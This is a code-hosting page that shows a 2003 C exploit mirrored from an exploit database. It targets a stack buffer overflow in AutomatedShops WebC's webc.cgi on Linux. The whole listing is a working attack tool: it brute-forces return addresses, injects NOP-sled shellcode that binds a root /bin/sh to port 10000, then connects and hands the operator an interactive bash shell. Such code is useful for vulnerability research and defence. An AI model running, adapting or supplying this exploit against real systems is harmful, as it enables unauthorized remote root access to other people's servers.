PageRenderTime 23ms CodeModel.GetById 23ms RepoModel.GetById 2ms app.codeStats 0ms

/exploits/linux/remote/22454.c

https://bitbucket.org/DinoRex99/exploit-database
C | 339 lines | 285 code | 17 blank | 37 comment | 2 complexity | 4e32115cc08ced4ce8ad94c84a20f67a MD5 | raw file
Possible License(s): GPL-2.0
  1. source: http://www.securityfocus.com/bid/7268/info
  2. It has been reported that a boundary condition error exists in WebC. Because of this, it may be possible for a remote attacker to gain unauthorized access to a vulnerable host.
  3. /*
  4. AutomatedShops WebC 2.011 -> 5.005 remote exploit.
  5. By Carl Livitt 16/Feb/2003
  6. ** BugTraq release - Linux only **
  7. Usage:
  8. ./webc-exploit -t HOSTNAME
  9. */
  10. #include <sys/types.h>
  11. #include <sys/stat.h>
  12. #include <sys/socket.h>
  13. #include <stdio.h>
  14. #include <string.h>
  15. #include <unistd.h>
  16. #include <signal.h>
  17. #include <netdb.h>
  18. #include <time.h>
  19. /*
  20. * Play with these to make it work (if it fails!)
  21. */
  22. #define RET_ADDR_START 0xbfffe949
  23. #define RET_ADDR_END 0xbffff850
  24. #define RET_ADDR_INCR 768
  25. #define EBP_ADDR_START 0xbfffe84c
  26. #define EBP_ADDR_END 0xbffff852
  27. #define EBP_ADDR_INCR 768
  28. #define ROOT_SHELL_PORT 10000
  29. #define COMMAND1 "id\n"
  30. #define COMMAND2 "uname -a\n"
  31. // don't adjust this
  32. #define BUF_SIZE 2048
  33. void make_shellcode(int);
  34. void make_exploit_buffer();
  35. void make_boundary_buffer();
  36. char shellcode[] =
  37. // setuid(0),setgid(0)... (just in case ;)
  38. "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
  39. // ...fork(). Parent terminates, killing webc.cgi but
  40. // leaving child process as a daemon...
  41. "\x31\xc0\xb0\x02\xcd\x80\x89\xc3\x85\xdb\x74\x08\x31\xdb\x31\xc0"
  42. "\xb0\x01\xcd\x80"
  43. // ...finally, bind shell (/bin/sh) to port 10000 (by default).
  44. // This is a butchered version of port-binding shellcode by
  45. // BigHawk.
  46. "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80"
  47. "\x89\xc7\x52\x66\x68"
  48. "XX" // XX is port number - gets filled in later
  49. "\x43\x66\x53\x89\xe1\xb0\x10\x50\x51"
  50. "\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57"
  51. "\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80"
  52. "\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
  53. "\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
  54. char sc[BUF_SIZE*2+2];
  55. char exploit_buf[100000];
  56. char target[256];
  57. int port=80;
  58. char orig_location[4096]="/cgi-bin/webc.cgi/g/", location[100000];
  59. unsigned long RET_ADDR, EBP_ADDR;
  60. int root_shell_port=ROOT_SHELL_PORT,padding,len, PADDING, ORDER, repeat;
  61. char usage[]=
  62. "Options:\n"
  63. "-h This cruft\n"
  64. "-t hostname Specify target host\n"
  65. "-a n Add extra padding, start at value 'n'\n"
  66. "-A n Add extra padding, stop at value 'n'\n\n"
  67. "Usage:\n\n"
  68. " ./webc-exploit -t localhost\n\n"
  69. "Should work on any WebC installation (versions 5.001 - 5.005)\n\n";
  70. char greeting[]=
  71. "WebC 5.00x proof-of-concept exploit for Linux\n"
  72. "By Carl Livitt, Feb 2003\n"
  73. "PRIVATE - DO NOT DISTRIBUTE\n\n";
  74. char thingy[]="|/-\\";
  75. /*
  76. * The fun begins here...
  77. */
  78. main(int argc, char **argv) {
  79. int ch, websock, shellsock,r=1;
  80. struct hostent *host;
  81. struct sockaddr_in saddr;
  82. char buf[8092];
  83. char cmd[256];
  84. int tries=0;
  85. struct timespec sleepTime;
  86. fd_set rfds;
  87. int retval, PADDING_START, PADDING_END;
  88. int thingyCount=0;
  89. printf("%s",greeting);
  90. PADDING_START=21;
  91. PADDING_END=21;
  92. while((ch=getopt(argc,argv,"a:A:ht:p:P:l:"))!=-1) {
  93. switch(ch) {
  94. case 'h':
  95. printf("%s",usage);
  96. exit(0);
  97. break;
  98. case 't':
  99. strncpy(target, optarg, sizeof(target)-1);
  100. break;
  101. case 'a':
  102. PADDING_START=atoi(optarg);
  103. break;
  104. case 'A':
  105. PADDING_END=atoi(optarg);
  106. break;
  107. default:
  108. printf("%s", usage);
  109. exit(0);
  110. break;
  111. }
  112. }
  113. if((host=gethostbyname(target))==NULL) {
  114. printf("Host not found. Usage:\n%s\n", usage);
  115. exit(1);
  116. }
  117. /*
  118. * Start the bruteforce loop
  119. */
  120. for(RET_ADDR=RET_ADDR_START; RET_ADDR<RET_ADDR_END; RET_ADDR+=RET_ADDR_INCR) {
  121. for(EBP_ADDR=EBP_ADDR_START; EBP_ADDR<EBP_ADDR_END; EBP_ADDR+=EBP_ADDR_INCR) {
  122. for(PADDING=PADDING_START;PADDING<=PADDING_END;PADDING++){
  123. for(ORDER=0;ORDER<=1;ORDER++) {
  124. repeat=5;
  125. while(repeat--) {
  126. printf("Please wait, this may take a few minutes... %c\r",thingy[thingyCount]);fflush(stdout);
  127. /*
  128. * Setup the exploit strings and
  129. * HTTP headers. The Accept-Encoding header
  130. * will hold shellcode: it will be passed
  131. * to the environment of webshell giving us
  132. * a reasonably predictable RET address.
  133. */
  134. make_shellcode(ORDER);
  135. make_boundary_buffer();
  136. make_exploit_buffer();
  137. /*
  138. * Now connect to the host and send the exploit
  139. * string...
  140. */
  141. if((websock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
  142. perror("socket()");
  143. exit(1);
  144. }
  145. memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  146. saddr.sin_family=AF_INET;
  147. saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
  148. saddr.sin_port=htons(port);
  149. if(connect(websock, (struct sockaddr *)&saddr, sizeof(saddr))<0) {
  150. perror("connect()");
  151. exit(1);
  152. }
  153. send(websock, exploit_buf, strlen(exploit_buf), 0);
  154. //len=recv(websock, buf, sizeof(buf)-1, 0);
  155. close(websock);
  156. // increment the counters
  157. tries++;
  158. if((++thingyCount)==4)
  159. thingyCount=0;
  160. // attempt to connect to port 10000 (or other, non-default port).
  161. // If successful, we know the exploit succeeded.
  162. if((shellsock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) {
  163. perror("socket()");
  164. exit(1);
  165. }
  166. memset((void *)&saddr, 0, sizeof(struct sockaddr_in));
  167. saddr.sin_family=AF_INET;
  168. saddr.sin_addr.s_addr=*((unsigned long *)host->h_addr_list[0]);
  169. saddr.sin_port=htons(root_shell_port);
  170. if(connect(shellsock, (struct sockaddr *)&saddr, sizeof(saddr))==0)
  171. goto CONNECTED; // goto? Damn amateurs...
  172. close(shellsock);
  173. EBP_ADDR--;
  174. } // repeat
  175. } // ORDER
  176. } // PADDING
  177. } // EBP_ADDR
  178. } // RET_ADDR
  179. /*
  180. * If we get here, then the bruteforce was exhausted without a
  181. * succesful exploit.
  182. */
  183. printf("Exploit failed.\n");
  184. exit(0);
  185. CONNECTED:
  186. /*
  187. * We're now connected to the remote host. Issue
  188. * some commands... ('id' and 'uname -a' by default)
  189. */
  190. printf("\n------------------------------------\nExploit successful!\n");
  191. printf("Explit values were:\n");
  192. printf("RET:0x%08x, EBP_ADDR:0x%08x, PADDING:%d, tries:%d, ORDER:%d, repeat:%d\n", RET_ADDR, EBP_ADDR, PADDING,tries,ORDER,repeat);
  193. printf("--------------------------------------\nIssuing some commands...\n\n");
  194. if(send(shellsock, COMMAND1, strlen(COMMAND1), 0)==-1) {
  195. perror("send()");
  196. exit(1);
  197. }
  198. buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
  199. printf("%s", buf);
  200. send(shellsock, COMMAND2, strlen(COMMAND2), 0);
  201. buf[recv(shellsock, buf, sizeof(buf)-1, 0)]='\0';
  202. printf("%s\n", buf);
  203. printf("You are now at a bash prompt...\n");
  204. send(shellsock, "export TERM=vt100; exec bash -i\n",strlen("export TERM=vt100; exec bash -i\n"),0);
  205. /*
  206. * Now let the attacker issue commands to the remote
  207. * shell, just as if (s)he had launched 'nc host 10000'.
  208. * Note the dodgy coding of assigning NULLs to the buf[]
  209. * array. What would happen if recv() or read() returned -1 ?
  210. */
  211. do {
  212. FD_ZERO(&rfds);
  213. FD_SET(0, &rfds);
  214. FD_SET(shellsock, &rfds);
  215. retval=select(shellsock+1, &rfds, NULL, NULL, NULL);
  216. if(retval) {
  217. if(FD_ISSET(shellsock, &rfds)) {
  218. buf[(r=recv(shellsock, buf, sizeof(buf)-1,0))]='\0';
  219. printf("%s", buf);
  220. }
  221. if(FD_ISSET(0, &rfds)) {
  222. buf[(r=read(0, buf, sizeof(buf)-1))]='\0';
  223. send(shellsock, buf, strlen(buf), 0);
  224. }
  225. }
  226. } while(retval && r); // loop until connection terminates
  227. close(shellsock);
  228. exit(0);
  229. }
  230. /*
  231. * Create the HTTP request that will setup the exploit
  232. * conditions in webshell. Shellcode is stored in the
  233. * Accept-Encoding HTTP header.
  234. */
  235. void make_exploit_buffer() {
  236. sprintf(exploit_buf,"GET %s HTTP/1.1\n",location);
  237. sprintf(exploit_buf,"%sHost: %s\n",exploit_buf,target);
  238. sprintf(exploit_buf,"%sAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\n", exploit_buf);
  239. sprintf(exploit_buf,"%sAccept-Language: en-gb, en;q=0.66, en-us;q=0.33\n", exploit_buf);
  240. sprintf(exploit_buf,"%sAccept-Encoding: gzip, deflate, compress;q=0.9\n", exploit_buf);
  241. sprintf(exploit_buf,"%sAccept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\n", exploit_buf);
  242. sprintf(exploit_buf,"%sCookie: ck_ams=00000; ck_amsv=11043763620; ck_sid=3J4EUD0l4Juf1ev-06103517452.aa\n", exploit_buf);
  243. sprintf(exploit_buf,"%sAccept-Encoding: %s\n\n",exploit_buf, sc);
  244. //printf("%s\n\n", exploit_buf);
  245. }
  246. /*
  247. * Create the buffer that overflows the stack...
  248. */
  249. void make_boundary_buffer() {
  250. int i;
  251. char *ptr;
  252. const int MAGIC=59;
  253. memset(location, 0, sizeof(location));
  254. strcpy(location, orig_location);
  255. ptr=location;
  256. while(*ptr)
  257. ++ptr;
  258. i=PADDING%4;
  259. while(i--)
  260. *(ptr++)=0xbf;
  261. i=MAGIC+(PADDING/4)-4;
  262. while(i--) {
  263. *(ptr++)=EBP_ADDR&0xff;
  264. *(ptr++)=(EBP_ADDR>>8)&0xff;
  265. *(ptr++)=(EBP_ADDR>>16)&0xff;
  266. *(ptr++)=(EBP_ADDR>>24)&0xff;
  267. }
  268. *(ptr++)=RET_ADDR&0xff;
  269. *(ptr++)=(RET_ADDR>>8)&0xff;
  270. *(ptr++)=(RET_ADDR>>16)&0xff;
  271. *(ptr++)=(RET_ADDR>>24)&0xff;
  272. *ptr='\0';
  273. }
  274. /*
  275. * Creates a buffer holding NOPs and shellcode.
  276. */
  277. void make_shellcode(int order) {
  278. char *ptr;
  279. int i;
  280. // Finish making shellcode buffer
  281. memset(sc, 0x90,BUF_SIZE);
  282. memcpy(sc + BUF_SIZE - (strlen(shellcode)+1), shellcode, strlen(shellcode));
  283. // Fill in the port number
  284. ptr=strstr(sc, "XX");
  285. *(ptr++)=htons(root_shell_port)&0xff;
  286. *ptr=(htons(root_shell_port)>>8)&0xff;
  287. ptr=(char *)sc+BUF_SIZE;
  288. for(i=0;i<BUF_SIZE-4;i+=4) {
  289. switch(order) {
  290. case 0:
  291. *(ptr++)=RET_ADDR&0xff;
  292. *(ptr++)=(RET_ADDR>>8)&0xff;
  293. *(ptr++)=(RET_ADDR>>16)&0xff;
  294. *(ptr++)=(RET_ADDR>>24)&0xff;
  295. break;
  296. case 1:
  297. *(ptr++)=(RET_ADDR>>16)&0xff;
  298. *(ptr++)=(RET_ADDR>>24)&0xff;
  299. *(ptr++)=RET_ADDR&0xff;
  300. *(ptr++)=(RET_ADDR>>8)&0xff;
  301. break;
  302. }
  303. }
  304. *ptr='\0';
  305. }